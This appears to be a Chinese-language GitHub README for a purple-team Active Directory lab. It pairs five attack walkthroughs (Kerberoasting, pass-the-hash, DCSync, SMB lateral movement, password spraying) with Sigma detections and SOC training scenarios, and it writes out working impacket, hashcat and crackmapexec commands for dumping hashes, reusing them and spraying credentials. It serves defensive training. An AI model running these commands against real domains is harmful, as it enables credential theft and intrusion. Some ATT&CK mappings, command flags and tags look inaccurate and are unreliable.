Shivam-kumar-jha/ad-exploitation-lab
GitHub: Shivam-kumar-jha/ad-exploitation-lab
一个端到端的 Active Directory 紫队实验室,集成五条攻击链及配套 Sigma 检测规则、PCAP 证据和 Splunk 仪表盘,用于攻防对抗演练与 SOC 分析师培训。
Stars: 0 | Forks: 0
# Active Directory 漏洞利用实验室
## 概述
## 实验室架构
┌─────────────────────────┐
│ 攻击者 (Kali) │
│ • Nmap, Metasploit │
│ • Impacket 工具 │
└──────────┬──────────────┘
│ 网络攻击
↓
┌─────────────────────────┐
│ Windows 域 │
│ • DC (Active Directory) │
│ • 成员服务器 │
│ • 工作站 │
└──────────┬──────────────┘
│ 事件日志
↓
┌─────────────────────────┐
│ Splunk SIEM │
│ • 收集 Windows 日志 │
│ • 运行 Sigma 规则 │
│ • 实时告警 │
└─────────────────────────┘
## 记录的攻击
| # | 攻击 | T-Code | 文件 | 检测 |
|---|--------|--------|-------|-----------|
| 1 | Kerberoasting | T1558.003 | [attacks/01-kerberoasting](attacks/01-kerberoasting) | [Sigma](detections/01-kerberoasting.yml) |
| 2 | Pass-the-Hash | T1550.002 | [attacks/02-pth](attacks/02-pth) | [Sigma](detections/02-pth.yml) |
| 3 | DCSync | T1033 | [attacks/03-dcsync](attacks/03-dcsync) | [Sigma](detections/03-dcsync.yml) |
| 4 | 横向移动 (SMB) | T1021.002 | [attacks/04-lateral](attacks/04-lateral) | [Sigma](detections/04-lateral.yml) |
| 5 | 凭据收集 | T1110.003 | [attacks/05-creds](attacks/05-creds) | [Sigma](detections/05-creds.yml) |
## 快速开始
### 前置条件
- VMware/Hyper-V 且具备 ≥12GB RAM
- Windows Server 2019 ISO (包含 AD DS 角色)
- Kali Linux 2024.x
- Splunk Enterprise (免费许可证)
### 设置(约 55 分钟)
```
# 导入 domain controller VM
# 创建测试 domain: attacklab.local
# 添加 3 个具有不同权限的用户账户
# 在单独的 VM 上安装 Splunk
# 配置 WEF (Windows Event Forwarding) 到 Splunk
```
完整指南请参见 [docs/SETUP.md](docs/SETUP.md)。
## 攻击演练
### 1. Kerberoasting (T1558.003)
**目标:** 为域服务请求 TGS 票据并对其进行离线破解。
**工具:** impacket-GetUserSPNs, hashcat
```
# 为所有 SPN 请求 TGS
python3 /usr/share/impacket/examples/GetUserSPNs.py -request \
attacklab.local/lowuser:password@dc.attacklab.local
# 离线破解 hashes
hashcat -m 13100 kerberoast.txt wordlist.txt
```
**检测:** Splunk 查询可识别来自非服务账户的异常 SPN 请求。Sigma 规则在关联到 Event 4769 + 4768 时触发。
**证据:** PCAP、日志提取和 Splunk 告警截图位于 `evidence/` 目录中。
### 2. Pass-the-Hash (T1550.002)
**目标:** 无需破解直接重用 NTLM 哈希以进行横向移动。
**工具:** impacket-psexec, mimikatz
```
# 提取 NTLM hashes
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
# Pass the hash
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \
administrator@member.attacklab.local cmd.exe
```
**检测:** 来自意外来源的登录类型 3;同一哈希在多台机器上重用。
### 3. DCSync (T1033)
**目标:** 模拟域控制器以提取所有密码哈希。
**工具:** impacket-secretsdump (DCSync 模式), mimikatz
```
impacket-secretsdump -dc-ip dc.attacklab.local \
attacklab.local/compromised_user:password@dc.attacklab.local
```
**检测:** 来自非 DC 源的复制 RPC 调用;Event 4662(已检查复制权限)+ 4929(复制成功)。
### 4. 通过 SMB 横向移动 (T1021.002)
**目标:** 使用凭据从受感染的主机移动到域成员。
**工具:** impacket-smbclient, impacket-psexec
```
# 枚举 SMB shares
impacket-smbclient -U 'attacklab\compromised_user%password' \
\\\\member.attacklab.local\\c$
# PSExec 风格的横向移动
impacket-psexec -U 'attacklab\compromised_user' -P 'password' \
'member.attacklab.local' cmd.exe
```
**检测:** 来自非管理员源的 SMB admin$ 访问;意外从 svchost 派生的 cmd.exe。
### 5. 凭据收集 (T1110.003)
**目标:** 对薄弱的域凭据进行暴力破解或喷射。
**工具:** crackmapexec
```
# Password spray(避免锁定 — 每个用户仅尝试一次)
crackmapexec smb member.attacklab.local -u users.txt -p 'P@ssw0rd123' \
--continue-on-success --loglevel DEBUG
```
**检测:** 来自同一源的多个 4625(登录失败)事件;阈值 >5 分钟内 5 次。
## 检测总结
| 攻击 | 告警类型 | 阈值 | 响应 |
|--------|-----------|-----------|----------|
| Kerberoasting | SPN 请求异常 | 3+ SPNs/小时 | 调查账户 |
| Pass-the-Hash | 哈希重用模式 | 相同哈希,2+ 台机器 | 终结会话,重置密码 |
| DCSync | 来自非 DC 的复制 RPC | 任何发生 | 封禁账户,强制修改密码 |
| 横向移动 | Admin$ + cmd.exe 进程 | 任何 + cmd.exe | 隔离主机,终止进程 |
| 凭据喷射 | 登录失败 | >5 分钟内 5 次 | 强制执行 MFA,实施锁定 |
## SOC 分析师用例
此实验室用于培训分析师:
1. 识别 Windows 事件日志中的攻击模式
2. 关联跨多个日志源的事件
3. 区分误报与真实攻击
4. 带着证据(PCAP + 日志 + 截图)进行升级上报
**培训场景:** 告警在“针对 user_X 的 4769 + 4768 关联”时触发。分析师检查:user_X 是否请求了不属于他们自己的服务的 TGS 票据?如果是 — 则升级上报至事件响应。
## 文件结构
## 关键要点
- 真实的攻击链 —— 而非孤立的技术
- 每个阶段的 MITRE ATT&CK 映射
- 为每次攻击提供 Sigma 检测规则
- 紫队视角:攻击 + 防御相结合
## MITRE ATT&CK 覆盖范围
- T1558.003 — Kerberoasting
- T1550.002 — Pass-the-Hash
- T1033 — DCSync 上下文
- T1021.002 — 横向移动 (SMB)
- T1110.003 — 暴力破解 / 凭据喷射
**覆盖范围:涵盖 3 种战术(凭据访问、横向移动、侦察)的 5 个独立 T-Code**
## 如何在面试中谈论此项目
**状态:** 研究级实验室,已准备好用于面试和实习讨论。
标签:AMSI绕过, Terraform 安全, 威胁检测, 活动目录, 紫队演练, 网络安全实验室